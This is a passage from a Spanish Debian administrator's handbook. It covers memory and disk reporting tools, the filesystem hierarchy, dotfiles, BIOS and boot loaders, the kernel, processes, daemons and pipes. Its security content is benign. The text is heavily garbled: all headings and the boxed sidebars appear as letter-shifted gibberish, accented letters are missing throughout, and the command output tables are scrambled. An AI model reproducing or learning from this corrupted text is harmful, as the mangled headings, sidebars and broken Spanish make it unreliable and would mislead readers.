# *OGPSNBDJO EF TJTUFNB NFNPSJB FTQBDJP FO EJTDP JEFOUJEBE


El programa free (libre) muestra informacin sobre la memoria; df (libre en disco: disk free)
reporta el espacio en disco disponible para cada uno de los discos montados en el sistema
de archivos. Ambos poseen la opcin I (legible por humanos: human readable) convierte los
tamaos en unidades ms legibles (frecuentemente mebibytes o gibibytes). De forma similar, el
programa free entiende las opciones N y H con las que mostrar, respectivamente, los datos
en mebibytes o gibibytes.
$ free
total
Mem:
1028420
-/+ buffers/cache:
Swap:
2771172

used
1009624
570416
404588

free
18796
458004
2366584

shared
0

buffers
47404

cached
391804

$VSTP CSFWF EF FNFSHFODJB



$ df
Filesystem
/dev/sda2
tmpfs
udev
tmpfs
/dev/sda5

1K-blocks
9614084
514208
10240
514208
44552904

Used Available Use % Mounted on


4737916
4387796 52 % /
0
514208
0 % /lib/init/rw
100
10140
1 % /dev
269136
245072 53 % /dev/shm
36315896
7784380 83 % /home

El programa id muestra la identidad del usuario ejecutando la sesin junto con la lista de grupos a los que pertenece. Debido a que el acceso a algunos archivos o dispositivos puede estar
limitados a miembros de ciertos grupos, puede ser til verificar a qu grupos se pertenece.
$ id
uid=1000(rhertzog) gid=1000(rhertzog) groups=1000(rhertzog),24(cdrom),25(floppy),27(
sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),109(bluetooth),115(
scanner)

# 0SHBOJ[BDJO EF MB KFSBSRVB EFM TJTUFNB EF BSDIJWPT


# &M EJSFDUPSJP SB[
Un sistema Debian est organizado segn el estndar de jerarqua de archivos (FHS: File Hierarchy
Standard). Este estndar define el propsito de cada directorio. Por ejemplo, se describen los
directorios de primer nivel como sigue:
/bin/: programas bsicos;
/boot/: ncleo Linux y otros archivos necesarios para las primeras etapas del proceso de

arranque;
/dev/: archivos de dispositivo;
/etc/: archivos de configuracin;
/home/: archivos personales de los usuarios;
/lib/: bibliotecas bsicas;
/media/*: puntos de montaje para dispositivos removibles (CD-ROM, llaves USB, etc.);
/mnt/: punto de montaje temporal;
/opt/: aplicaciones adicionales provistas por terceros;
/root/: archivos personales del administrador (root);
/sbin/: programas de sistema;
/srv/: datos utilizados por los servidores en este sistema;
/tmp/; archivos temporales; generalmente se vaca este directorio durante el arranque;



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

/usr/:

aplicaciones; este directorio est subdividido en bin, sbin, lib (segn la misma
lgica que el directorio raz). Lo que es ms, /usr/share/ contiene datos independientes
de la arquitectura. El objetivo de /usr/local/ es para que el administrador instale aplicaciones manualmente sin sobreescribir archivos administrados por el sistema de paquetes
(dpkg).
/var/: datos variables administrados por demonios. Esto incluye archivos de registro, co-

las, cachs, etc.


y /sys/ son especficos del ncleo Linux (y no son parte del FHS). El ncleo los
utiliza para exportar datos a espacio de usuario.
/proc/

# &M EJSFDUPSJP QFSTPOBM EF MPT VTVBSJPT


El contenido del directorio personal de un usuario no est estandarizado, pero s existen algunas
convenciones notables. Una de ellas es que usualmente se refiere al directorio personal de un
usuario con una virgulilla (~). Es til saberlo ya que los intrpretes de rdenes reemplazan
una virgulilla automticamente con el directorio correcto (generalmente /home/usuario/).
Tradicionalmente, las aplicaciones almacenan sus archivos de configuracin en el directorio
personal del usuario, pero sus nombres generalmente comienzan con un punto (por ejemplo,
el cliente de correo mutt almacena su configuracin el ~/.muttrc). Tenga en cuenta que los
nombres de archivos que comienzan con un punto estn escondidos de forma predeterminada;
slo sern enumerados por ls cuando utilice la opcin B y por los gestores grficos de archivos
cuando les indique que muestren archivos ocultos.
Algunos programas tambin utilizan mltiples archivos de configuracin organizados en un directorio (por ejemplo: ~/.ssh/). Algunas aplicaciones (como el navegador web Iceweasel) tambin utlizarn su directorio para almacenar un cach de datos descargados. Esto significa que
estos directorios pueden llegar a utilizar mucho espacio en disco.
Estos archivos de configuracin almacenados directamente en el directorio personal de los
usuarios, a los que se refieren colectivamente como dotfiles (archivos punto), son tan populares al punto que estos directorios pueden estar atiborrados de ellos. Afortunadamente, se desarroll la Especificacin de directorio base XDG (XDG Base Directory Specification) gracias
a un esfuerzo colectivo bajo la tutela de FreeDesktop.org, una convencin que intenta limpiar
estos archivos y directorios. Esta especificacin indica que se debe almacenar los archivos de
configuracin bajo ~/.config, archivos de cach bajo ~/.cache y archivos de dato de aplicaciones bajo ~/.local (o subdirectorios de los mismos). Esta convencin est ganando popularidad lentamente y varias aplicaciones (especialmente las grficas) ya comenzaron a seguirla.
Los escritorios grficos generalmente muestran en el escritorio (es decir, lo que se ve cuando se
cierran o minimizan todas las aplicaciones) el contenido del directorio ~/Desktop/ (o el trmino
apropiado si el sistema est configurado en otro idioma).
Finalmente, el sistema de correo a veces almacena sus correos entrantes en un directorio ~/
Mail/.

$VSTP CSFWF EF FNFSHFODJB



# 'VODJPOBNJFOUP JOUFSOP EF VO FRVJQP MBT EJGFSFOUFT DBQBT JOWPMV


DSBEBT
Generalmente se considera a un equipo como algo bastante abstracto, y la interfaz visible al
exterior es mucho ms simple que su complejidad interna. Esta complejidad proviene, en parte,
de la cantidad de partes involucradas. Sin embargo, podemos visualizar estas piezas en capas,
donde cada capa slo interacta con aquellas inmediatamente sobre y bajo ella.
Un usuario final puede vivir sin saber estos detalles siempre que todo funcione. Cuando nos
enfrentamos con un problema como Internet no anda!, lo primero que debemos hacer es
identificar en qu capa se origina el problema. Est funcionando la tarjeta de red (hardware)?
Es reconocida por el equipo? El ncleo Linux la ve? Los parmetros de red configurados son
correctos? Todas estas preguntas aslan una capa apropiada y se enfocan en una fuente potencial
del problema.

# -B DBQB NT QSPGVOEB FM IBSEXBSF


Comencemos recordando bsicamente que una mquina es, primero y principal, un conjunto
de elementos de hardware. Generalmente tendr una placa principal (conocida como placa base:
motherboard) con uno (o ms) procesadores, algo de RAM, controladores de dispositivos y
puertos de extensin para placas opcionales (para otros controladores de dispositivos). Los ms
notables entre estos controladores son IDE (ATA paralelo), SCSI y ATA Serial para conectar dispositivos de almacenamiento como discos duros. Entre otros controladores encontraremos a
USB, que es capaz de albergar una gran variedad de dispositivos (desde cmaras web a termmetros, desde teclados a sistemas de automatizacin hogarea) y IEEE 1894 (Firewire). Estos controladores frecuentemente permiten conectar varios dispositivos por lo que se conoce
al subsistema completo gestionado por un controlador como canal (bus). Las placas opcionales incluyen tarjetas grficas (donde conectar pantallas y monitores), tarjetas de sonido,
tarjetas de interfaz de red, etc. Algunas placas principales son prefabricadas con estas funcionalidades y no necesitan placas opcionales.
&/ -" 13$5*$"
3FWJTJO EFM GVODJPOBNJFOUP
EFM IBSEXBSF

1VFEF TFS DPNQMJDBEP SFWJTBS RVF VOB QPSDJO EF IBSEXBSF GVODJPOB 1PS FM
PUSP MBEP QSPCBS RVF OP GVODJPOB B WFDFT FT NVZ TJNQMF
6O EJTDP EVSP FTU IFDIP EF QMBUPT HJSBUPSJPT Z DBCF[BT NBHOUJDBT NWJMFT
$VBOEP TF FODJFOEF VO EJTDP EVSP FM NPUPS EF MBT QMBDBT HFOFSB VO [VNCJEP
DBSBDUFSTUJDP 5BNCJO EJTJQB FOFSHB FO GPSNB EF DBMPS 1PS MP UBOUP VO EJTDP
EVSP RVF TF NBOUJFOF GSP Z TJMFODJPTP BM FODFOEFS FTU SPUP
-BT UBSKFUBT EF SFE GSFDVFOUFNFOUF JODMVZFO -&%T RVF NVFTUSBO FM FTUBEP EFM
FOMBDF 4J UJFOF VO DBCMF DPOFDUBEP RVF MMFWB B VO TXJUDI P IVC EF SFE GVO
DJPOBM BM NFOPT VO -&% FTUBS FODFOEJEP 4J OJOHO -&% FODJFOEF MB UBSKFUB
FO T FM EJTQPTJUJWP EF SFE P FM DBCMF FOUSF FMMPT UJFOF VOB GBMMB &M TJHVJFOUF
QBTP PCWJBNFOUF FT QSPCBS DBEB DPNQPOFOUF EF GPSNB JOEJWJEVBM
"MHVOBT QMBDBT PQDJPOBMFT FTQFDJBMNFOUF MBT UBSKFUBT EF WJEFP % JODMVZFO
EJTQPTJUJWPT EF FOGSJBNJFOUP DPNP EJTJQBEPSFT EF DBMPS ZP WFOUJMBEPSFT 4J FM
WFOUJMBEPS OP HJSB BO DVBOEP TF FODJFOEF MB UBSKFUB VOB FYQMJDBDJO QPTJCMF



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

FT FM TPCSFDBMFOUBNJFOUP EF MB UBSKFUB &TUP UBNCJO FT BQMJDBCMF B FM P MPT


QSPDFTBEPSFT QSJODJQBMFT VCJDBEPT FO MB QMBDB QSJODJQBM

# &M JOJDJBEPS FM #*04


El hardware, por s mismo, no es capaz de realizar tareas tiles sin un software asociado que lo
maneje. El propsito de los sistemas operativos y las aplicaciones es controlar e interactuar con
el hardware. stos, sin embargo, necesitan hardware funcional para ejecutar.
Esta simbiosis entre el hardware y el software no ocurre por s sola. Cuando recin se enciende
el equipo es necesario cierta configuracin inicial. El BIOS asume este rol, un software pequeo
embebido en la placa principal que ejecuta automticamente cuando se enciende. Su tarea primaria es buscar el software y cederle el control. Frecuentemente esto involucra buscar el primer
disco duro con un sector de arranque (tambin conocido como registro maestro de arranque o MBR:
Master Boot Record), cargar dicho sector y ejecutarlo. De all en adelante, usualmente no se
utiliza el BIOS (hasta el prximo arranque).
)&33".*&/5"
k4FUVQ{ MB IFSSBNJFOUB EF
DPOGJHVSBDJO EFM #*04

&M #*04 UBNCJO DPOUJFOF VO TPXBSF MMBNBEP k4FUVQ{ EJTFBEP QBSB QFSNJ
UJS DPOGJHVSBS BTQFDUPT EFM FRVJQP &O QBSUJDVMBS QFSNJUF FMFHJS FM EJTQPTJUJWP
EF BSSBORVF QSFGFSJEP QPS FKFNQMP VO EJTDP GMFYJCMF P EJTQPTJUJWP $%30.

DPOGJHVSBS FM SFMPK EFM TJTUFNB FUD *OJDJBS k4FUVQ{ VTVBMNFOUF JOWPMVDSB QSF
TJPOBS VOB UFDMB UBO QSPOUP DPNP FODJFOEF FM FRVJQP (FOFSBMNFOUF FTUB UFDMB
FT %FM P &TD QFSP B WFDFT UBNCJO QVFEF TFS ' P ' -B NBZPSB EF MBT WFDFT
MB UFDMB DPSSFDUB BQBSFDF CSFWFNFOUF FO MB QBOUBMMB EVSBOUF FM BSSBORVF

El sector de arrance, por su parte, contiene otro software pequeo llamado el gestor de arranque,
cuyo propsito es encontrar y ejecutar un sistema operativo. Debido a que dicho gestor de arranque no est embebido en la placa principal sino que se lo carga desde el disco, puede ser
ms inteligente que el BIOS, lo que explica porqu el BIOS no carga el sistema operativo por su
cuenta. Por ejemplo, el gestor de arranque (frecuentemente GRUB en los sistemas Linux) puede
enumerar los sistemas operativos disponibles y pedirle al usuario que elija uno. Usualmente,
provee un tiempo de espera y una opcin predeterminada. A veces el usuario tambin puede
decidir agregar parmetros que pasarle al ncleo, etc. Eventualmente, se encuentra el ncleo,
se lo carga en memoria y se lo ejecuta.
El BIOS tambin est a cargo de detectar e inicializar algunos dispositivos. Obviamente, esto incluye los dispositivos IDE/SATA (generalmente discos duros y dispositivos CD-ROM), pero tambin dispositivos PCI. Normalmente, se enumeran en pantalla los dispositivos detectados durante el proceso de arranque. Si la lista pasa demasiado rpido, utilice la tecla Pause para congelarla el tiempo suficiente para leerla. Si faltan dispositivos PCI instalados, es un mal augurio.
En el peor de los casos el dispositivo tiene una falla. En el mejor de los casos, simplemente es
incompatible con la versin del BIOS o la placa principal. Las especificaciones PCI evolucionan
y no se garantiza que las placas principales antiguas sean compatibles con dispositivos PCI ms
nuevos.

$VSTP CSFWF EF FNFSHFODJB



# &M ODMFP


Tanto el BIOS como el gestor de arranque slo ejecutan por unos segundos cada uno; ahora
llegamos al primer software que ejecuta por ms tiempo: el ncleo del sistema operativo. Este
ncleo asume el rol del director en una orquesta y asegura la coordinacin entre el hardware y
el software. Este papel involucra varias tareas que incluyen: administrar el hardware, gestionar
procesos, usuarios y permisos, el sistema de archivos, etc. El ncleo provee una base comn a
todos los otros programas en el sistema.

# &M FTQBDJP EF VTVBSJP


Si bien todo lo que ocurre fuera del ncleo puede agruparse bajo el nombre espacio de usuario,
todava podemos separarlo en capas de software. Sin embargo, sus interacciones son ms complejas que antes y la clasificacin puede no ser tan simple. Una aplicacin normalmente utiliza
bibliotecas, que a su vez involucran al ncleo, pero la comunicacin tambin puede involucrar
otros programas o inclusive bibliotecas que interactan entre s.

# "MHVOBT UBSFBT BENJOJTUSBEBT QPS FM ODMFP


# "ENJOJTUSBDJO EFM IBSEXBSF
El ncleo tiene, antes que nada, la tarea de controlar las partes del hardware, detectarlas, encenderlas cuando se enciende el equipo, etc. Tambin los pone a disposicin del software de
ms alto nivel con una interfaz de programacin simplificada para que las aplicaciones puedan
aprovechar dispositivos sin tener que preocuparse por detalles como cul puerto de extensin
es aqul en el que est conectada una tarjeta. La interfaz de programacin tambin provee una
capa de abstraccin; permite, por ejemplo, que el software de videoconferencias utilice una cmara web independientemente de su modelo y fabricante. El software puede utilizar simplemente la interfaz video para Linux (V4L: Video for Linux) y el ncleo traduce las llamadas a las
funciones de esta interfaz a las rdenes de hardware reales que necesita la cmara especfica
que est utilizando.
El ncleo exporta muchos detalles sobre el hardware detectado a travs de los sistemas de
archivos virtuales /proc/ y /sys/. Muchas herramientas resumen estos detalles. Entre ellas,
lspci (en el paquete pciutils) enumera los dispositivos PCI, lsusb (en el paquete usbutils) enumera los dispositivos USB y lspcmcia (en el paquete pcmciautils) enumera las tarjetas PCMCIA.
Estas herramientas son muy tiles para identificar el modelo exacto de un dispositivo. Esta identificacin permite realizar bsquedas ms precisas en la web lo que, a su vez, lleva a documentos
ms relevantes.
&KFNQMP #
$ lspci



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

&KFNQMP EF JOGPSNBDJO QSPWJTUB QPS

lspci

lsusb

[...]
00:02.1 Display controller: Intel Corporation Mobile 915GM/GMS/910GML Express
Graphics Controller (rev 03)
00:1c.0 PCI bridge: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) PCI Express
Port 1 (rev 03)
00:1d.0 USB Controller: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB
UHCI #1 (rev 03)
[...]
01:00.0 Ethernet controller: Broadcom Corporation NetXtreme BCM5751 Gigabit Ethernet
PCI Express (rev 01)
02:03.0 Network controller: Intel Corporation PRO/Wireless 2200BG Network Connection
(rev 05)
$ lsusb
Bus 005 Device 004: ID 413c:a005 Dell Computer Corp.
Bus 005 Device 008: ID 413c:9001 Dell Computer Corp.
Bus 005 Device 007: ID 045e:00dd Microsoft Corp.
Bus 005 Device 006: ID 046d:c03d Logitech, Inc.
[...]
Bus 002 Device 004: ID 413c:8103 Dell Computer Corp. Wireless 350 Bluetooth

Estos programas tienen una opcin W, que mostrar informacin mucho ms detallada (pero
generalmente innecesaria). Finalmente, el programa lsdev (en el paquete procinfo) enumera los
recuros de comunicacin utilizados por los dispositivos.
Las aplicaciones frecuentemente acceden a los dispositivos a travs de archivos especiales creados en /dev/ (revise el recuadro Permisos de acceso a dispositivos pgina 167). stos son
archivos especiales que representan discos (por ejemplo: /dev/hda y /dev/sdc), particiones
(/dev/hda1 o /dev/sdc3, ratones (/dev/input/mouse0), teclados (/dev/input/event0), tarjetas de sonido (/dev/snd/*), puertos seriales (/dev/ttyS*), etc.

# 4JTUFNBT EF BSDIJWPT


Los sistemas de archivos son uno de los aspectos ms destacados del ncleo. Los sistemas Unix
agrupan todos los archivos que almacenan en una jerarqua nica, lo que permite a los usuarios
(y las aplicaciones) acceder a los datos simplemente conociendo su ubicacin dentro de dicha
jerarqua.
El nombre del punto de partida de este rbol jerrquico es la raz, /. Este directorio puede tener
subdirectorios con nombres. Por ejemplo, el nombre del subdirectorio IPNF de / es /home/.
Este subdirectorio, a su vez, puede contener otros subdirectorios y as sucesivamente. Cada directorio tambin puede contener archivos, donde se almacenarn los datos en s. Por lo tanto, el
nombre /home/rmas/Desktop/hello.txt se refiere al archivo IFMMPUYU almacenado en el subdirectorio %FTLUPQ del subdirectorio SNBT del directorio IPNF presente en la raz. El ncleo
traduce este sistema de nombres en el almacenamiento fsico real en un disco.
A diferencia de otros sistemas, existe slo una jerarqua de este tipo que puede integrar datos
de varios discos. Se utiliza uno de estos discos como raz y los dems son montados en di-

$VSTP CSFWF EF FNFSHFODJB



rectorios de la jerarqua (el programa Unix se llama mount); luego estos otros discos estarn
disponibles bajo estos puntos de montaje. Esto permite almacenar los directorios personales de los usuarios (tradicionalmente almacenados en /home/) en un disco secundario que
contendr directorios SIFSU[PH y SNBT. Una vez que se mont el disco en /home/, estos directorios estarn disponibles en su ubicacin usual y continuarn funcionando las rutas como
/home/rmas/Desktop/hello.txt.
Hay muchos sistemas de archivos que corresponden con muchas formas de almacenar fsicamente los datos en discos. Los ms conocidos son ext2, ext3 y ext4, pero existen otros. Por ejemplo,
vfat es el sistema de archivos utilizado histricamente por los sistemas operativos DOS y Windows, lo que permite utilizar discos duros tanto en Debian como en Windows. En cualquier caso,
un sistema de archivos debe ser preparado en un disco antes que pueda ser montado, se conoce
esta operacin como dar formato. Los programas como mkfs.ext3 (donde mkfs significa crear
sistema de archivos: MaKe FileSystem) se encargan de esta operacin. Estos programas necesitan, como parmetro, un archivo de dispositivo que representa la particin a la que dar formato
(por ejemplo: /dev/sda1). Esta operacin es destructiva y slo debe ejecutarla una vez, excepto
cuando uno desee eliminar deliberadamente un sistema de archivos y comenzar nuevamente
desde cero.
Existen incluso sistemas de archivos de red, como NFS, en el que los datos no son almacenados en un disco local. En su lugar, se transmiten los datos a travs de la red a un servidor que
los almacena y obtiene a pedido. La abstraccin del sistema de archivos evita que al usuario le
importe: los archivos continan disponibles en la forma jerrquica usual.

# 'VODJPOFT DPNQBSUJEBT


Debido a que una cantidad de funciones son utilizadas por todo software, tiene sentido centralizarlas en el ncleo. Por ejemplo, la gestin compartida de sistemas de archivos permite que
cualquier aplicacin simplemente abra un archivo, sin preocuparse dnde est almacenado fsicamente dicho archivo. ste puede estar almacenado en diferentes porciones de un disco duro,
dividido entre varios discos duros o inclusive almacenado en un servidor remoto. Las funciones
de comunicacin compartidas son utilizadas por las aplicaciones para intercambiar datos independientemente de la forma en la que se transportan los mismos. Por ejemplo, el transporte
puede ser a travs de una combinacin de redes locales o inalmbricas o a travs de una lnea
telefnica terrestre.

# (FTUJO EF QSPDFTP


Un proceso es una instancia en ejecucin de un programa. Esto necesita memoria para almacenar tanto el programa en s como los datos con los que trabaja. El ncleo es el encargado de
crearlos y seguirlos. Cuando se ejecuta un programa, primero el ncleo reserva memoria, carga en ella el cdigo ejecutable desde el sistema de archivos y luego inicia la ejecucin de este
cdigo. Mantiene informacin sobre este proceso, de las que la ms visible es un nmero de
identificacin conocido como pid (identificador de proceso: process identifier).



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Los ncleos similares a Unix (incluyendo a Linux), al igual que muchos otros sistemas operativos
modernos, poseen la capacidad de ser multitarea. En otras palabras, permite ejecutar muchos
procesos al mismo tiempo. En realidad slo hay un proceso ejecutando en un momento dado, pero el ncleo divide el tiempo en pequeas porciones y ejecuta en orden a cada proceso.
Debido a que estas divisiones de tiempo son muy pequeas (en el rango de los milisegundos),
crean la ilusin de procesos ejecutando en paralelo, an cuando slo estn activos durante algunos intervalos y en espera el resto del tiempo. Si las divisiones de tiempo son muy extensas,
la aplicacin puede parecer lenta y poco interactiva al usuario. Si son muy pequeas, el sistema
perder tiempo cambiando tareas demasiado frecuentemente. Se pueden personalizar estas decisiones con las prioridades de procesos. Los procesos con prioridad alta ejecutarn por ms
tiempo y en intervalos ms frecuentes que los procesos con prioridad baja.
/05"
4JTUFNBT NVMUJQSPDFTBEPS Z
WBSJBDJPOFT

-B SFTUSJDDJO BRV EFTDSJQUB TMP FT VO DBTP FYUSFNP -B SFTUSJDDJO BDUVBM


FT RVF FO DBEB NPNFOUP TMP QVFEF FYJTUJS VO QSPDFTP FO FKFDVDJO QPS O
DMFP EF QSPDFTBEPS -PT TJTUFNBT NVMUJQSPDFTBEPS NVMUJODMFP P DPO kIZQFS
UISFBEJOH{ kNVMUJIJMPT{
QFSNJUF FKFDVUBS WBSJPT QSPDFTPT FO QBSBMFMP 4JO
FNCBSHP TF VUJMJ[B FM NJTNP TJTUFNB EF EJWJTJO EF UJFNQP QBSB BENJOJT
USBS DBTPT FO MPT RVF FYJTUBO NT QSPDFTPT BDUJWPT RVF ODMFPT EF QSPDFTBEPS
EJTQPOJCMFT &TUF DBTP OP FT FYUSBP VO TJTUFNB CTJDP BO BRVFMMPT NBZPS
NFOUF EFTPDVQBEPT DBTJ TJFNQSF QPTFF EFDFOBT EF QSPDFTPT FO FKFDVDJO

Por supuesto, el ncleo permite ejecutar varias instancias independientes del mismo programa.
Pero cada una de ellas slo puede acceder sus propias divisiones de tiempo y su propia memoria.
Sus datos, por lo tanto, se mantienen independientes.

# (FTUJO EF QFSNJTPT


Los sistemas similares a Unix tambin son multiusuario. Proveen un sistema de gestin de permisos que permite usuarios y grupos independientes; tambin provee la capacidad de decidir
permitir o bloquear acciones segn sus permisos. El ncleo gestiona, para cada proceso, los datos
que permite verficacin de permisos. La mayor parte del tiempo esto significa que la identidad del proceso es la misma que la del usuario que lo inici. Adems el proceso slo puede
realizar acciones que pueda realizar su dueo. Por ejemplo, intentar abrir un archivo requiere
que el ncleo verifique la identidad del proceso segn los permisos de acceso (para ms detalles
sobre este ejemplo particular, revise la Seccin 9.3, Administracin de permisos pgina 201).

# &M FTQBDJP EF VTVBSJP


El espacio de usuario se refiere al entorno de ejecucin de procesos normales (en contraste
con el ncleo). Esto no significa necesariamente que usuarios inciaron realmente estos procesos debido a que un sistema estndar frecuentemente posee procesos demonio que ejecutan
inclusive antes que el usuario inicie una sesin. Los procesos demonio son procesos en espacio
de usuario.

$VSTP CSFWF EF FNFSHFODJB



# 1SPDFTP
Cuando el ncleo supera su fase de inicializacin, ejecuta el primer proceso: init. El proceso
#1 rara vez es til por s mismo, y los sistemas similares a Unix ejecutan con un ciclo de vida
completo de procesos.
Primero que nada, un proceso puede clonarse a s mismo (esto es conocido como bifurcacin
fork). El ncleo reserva un espacio de memoria de proceso nuevo, pero idntico, y un nuevo
proceso para utilizarlo. En este momento, la nica diferencia entre estos dos procesos es su
pid. Es costumbre llamar proceso hijo al nuevo proceso y proceso padre al proceso cuyo pid no
cambi.
A veces, el proceso hijo contina su vida de forma independiente a su padre, con sus propios
datos copiados del proceso padre. En muchos casos, sin embargo, el proceso hijo ejecuta otro
programa. Con unas pocas excepciones, simplemente se reemplaza su memoria con aquella del
nuevo programa y comienza la ejecucin del mismo. Una de las primeras acciones del proceso
nmero 1 es, por ejemplo, duplicarse a s mismo (lo que significa que, por una pequea fraccin de tiempo, dos copias en ejecucin del mismo proceso init), pero luego se reemplaza el
proceso hijo con el primer script de inicializacin de sistema, generalmente /etc/init.d/rcS.
Este script, por su parte, se clona a s mismo y ejecuta otros varios programas. En algn punto,
uno de los proceso de la descendencia de init inicia una interfaz grfica en la que los usuarios
pueden iniciar sesin (describimos con ms detalle la secuencia real de eventos en la Seccin
9.1, Arranque del sistema pgina 190).
Cuando un proceso finaliza la tarea para la que fue iniciado, termina. El ncleo recupera la
memoria asignada a este proceso y no le asignar ms divisiones de tiempo de ejecucin. Se
le informa al proceso padre sobre la finalizacin de su proceso hijo, lo que permite a un proceso
esperar que se complete una tarea que deleg a un proceso hijo. Este comportamiento es obvio a simple vista en los intrpretes de lnea de rdenes (conocidos como consolas shells).
Cuando se ingresa una orden en una consola, slo vuelve el prompt cuando finaliza la ejecucin
de dicha orden. La mayora de las consolas permiten ejecutar programas en segundo plano, slo
es cuestin de agregar un & al final de la orden. Se mostrar el prompt inmediatamente, lo que
puede llevar a problemas si la orden necesita mostrar datos por su cuenta.

# %FNPOJPT
Un demonio es un proceso iniciado automticamente por la secuencia de inicio. Contina
ejecutando (en segundo plano) para realizar tareas de mantenimiento o proveer servicios a otros
procesos. Esta tarea en segundo plano es realmente arbitraria y no tiene un rol especial desde
el punto de vista del sistema. Simplemente son procesos, muy similares a otros proceso, que
se ejecutarn cuando le corresponda a su divisin de tiempo. Esta distincin es slo para los
humanos: se dice de un proceso que ejecuta sin interaccin de un usuario (en particular, sin una
interfaz grfica) que ejecuta en segundo plano o como un demonio.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

70$"#6-"3*0
%FNPOJP VO USNJOP
EFTQFDUJWP

&O JOHMT TF VUJMJ[B FM USNJOP kEBFNPO{ FO MVHBS EF kEFNPO{


QBSB IBD
FS SFGFSFODJB B MPT EFNPOJPT "NCPT DPNQBSUFO TV FUJNPMPHB HSJFHB QFSP FM
QSJNFSP OP JNQMJDB VO NBM EJBCMJDP FO DBNCJP EFCFSB FOUFOEFSTF DPNP VOB
FTQFDJF EF FTQSJUV EF BZVEB -B EJTUJODJO FT TVGJDJFOUFNFOUF TVUJM FO JOHMT
FT BO QFPS FO PUSPT JEJPNBT DPNP FM FTQBPM
FO FM RVF TF VUJMJ[B MB NJTNB
QBMBCSB QBSB BNCPT TJHOJGJDBEPT

Describimos en detalle muchos demonios en el Captulo 9: Servicios Unix pgina 190.

# $PNVOJDBDJO FOUSF QSPDFTPT


Un proceso aislado, sea un demonio o una aplicacin interactiva, rara vez es til por s misma,
razn por la que existen varios mtodos que permiten la comunicacin entre dos procesos separados, ya sea para intercambiar datos o para que se controlen entre s. El trmino genrico para
referirse a esto es comunicacin entre procesos (abreviado IPC: Inter-Process Communication).
El sistema IPC ms simple es utilizar archivos. El proceso que desea enviar datos, los escribe en
un archivo (cuyo nombre ya conozca), mientras que el receptor slo debe abrir este archivo y
leer su contenido.
En el caso en que no deseemos almacenar datos en el disco, podemos utiliza una tubera (pipe),
que simplemente es un objeto con dos extremos; los bytes escritos en uno de ellos son legibles en
el otro. Si dos procesos separados controlan los extremos, esto se convierte en un canal de comunicacin entre procesos simple y conveniente. Podemos clasificar las tuberas en dos: tuberas
con nombre y tuberas annimas. Se representa a una tubera con nombre como un elemento en
el sistema de archivos (aunque los datos transmitidos no se almacenen en l), para que ambos
procesos puedan abrirlo independientemente si ya conocen la ubicacin de la misma. En los casos en los que los procesos que se comunican estn relacionados (por ejemplo, un proceso padre
y su hijo), el proceso padre tambin puede crear una tubera annima antes de bifurcarse que
ser heredada por el hijo. Ambos procesos podrn intercambiar datos a travs de la tubera sin
necesitar el sistema de archivos.
&/ -" 13$5*$"
6O FKFNQMP DPODSFUP

%FTDSJCJSFNPT DPO BMHP EF EFUBMMF MP RVF PDVSSF DVBOEP TF FKFDVUB FO VOB DPO
TPMB VOB PSEFO DPNQMFKB VOB DBFSB kQJQFMJOF{
 "TVNJSFNPT RVF UFOFNPT
VO QSPDFTP bash MB DPOTPMB EF VTVBSJP FTUOEBS FO %FCJBO
DPO QJE  FO
FTUB DPOTPMB JOHSFTBSFNPT MB TJHVJFOUF PSEFO ls | sort
-B DPOTPMB QSJNFSP JOUFSQSFUB MB PSEFO RVF JOHSFTBNPT &O OVFTUSP DBTP FO
UJFOEF RVF IBZ EPT QSPHSBNBT ls Z sort
DPO VO GMVKP EF EBUPT EF VOP BM PUSP
EFOPUBEP QPS FM DBSDUFS | DPOPDJEP DPNP UVCFSB kQJQF{
 bash QSJNFSP
DSFB VOB UVCFSB TJO OPNCSF RVF FYJTUF TMP EFOUSP EFM QSPDFTP bash FO T

-VFHP MB DPOTPMB TF DMPOB B T NJTNB FTUP MMFWB B VO OVFWP QSPDFTP bash DPO
QJE  MPT QJE TPO ONFSPT BCTUSBDUPT Z HFOFSBMNFOUF OP UJFOFO VO TJH
OJGJDBEP QBSUJDVMBS
 &M QSPDFTP  IFSFEB MB UVCFSB MP RVF TJHOJGJDB RVF
QVFEF FTDSJCJS FO TV FYUSFNP EF kFOUSBEB{ bash SFEJSJHF TV GMVKP EF TBMJEB FT
UOEBS B MB FOUSBEB EF FTUB UVCFSB -VFHP FKFDVUB Z TF SFFNQMB[B B T NJTNP

DPO FM QSPHSBNB ls RVF FOVNFSB FM DPOUFOJEP EFM EJSFDUPSJP BDUVBM %FCJEP B

$VSTP CSFWF EF FNFSHFODJB



RVF ls FTDSJCF FO TV TBMJEB FTUOEBS Z BOUFSJPSNFOUF TF SFEJSJHJ FTUB TBMJEB


FGFDUJWBNFOUF TF FOWB TV SFTVMUBEP B MB UVCFSB
0DVSSF VOB PQFSBDJO TJNJMBS QBSB FM TFHVOEP QSPHSBNB bash TF DMPOB B T
NJTNP OVFWBNFOUF MP RVF MMFWB B VO OVFWP QSPDFTP bash DPO QJE  %F
CJEP B RVF UBNCJO FT VO QSPDFTP IJKP EF  UBNCJO IFSFEB MB UVCFSB
MVFHP bash DPOFDUB TV FOUSBEB FTUOEBS B MB TBMJEB EF MB UVCFSB Z MVFHP FKFDV
UB Z TF SFFNQMB[B B T NJTNP
DPO FM QSPHSBNB sort RVF PSEFOB TV FOUSBEB
Z NVFTUSB FM SFTVMUBEP
"IPSB FTUO EFGJOJEBT UPEBT MBT QJF[BT EFM SPNQFDBCF[BT ls MFF FM EJSFDUPSJP
BDUVBM Z FTDSJCF MB MJTUB EF BSDIJWPT FO MB UVCFSB sort MFF FTUB MJTUB MB PSEFOB
BMGBCUJDBNFOUF Z NVFTUSB MPT SFTVMUBEPT -VFHP GJOBMJ[BO MPT QSPDFTPT 
Z  Z FM QSPDFTP  RVF FTUBCB FTQFSBOEP EVSBOUF FTUB PQFSBDJO

SFDVQFSB FM DPOUSPM Z NVFTUSB FM QSPNQU RVF QFSNJUF BM VTVBSJP JOHSFTBS VOB
OVFWB PSEFO

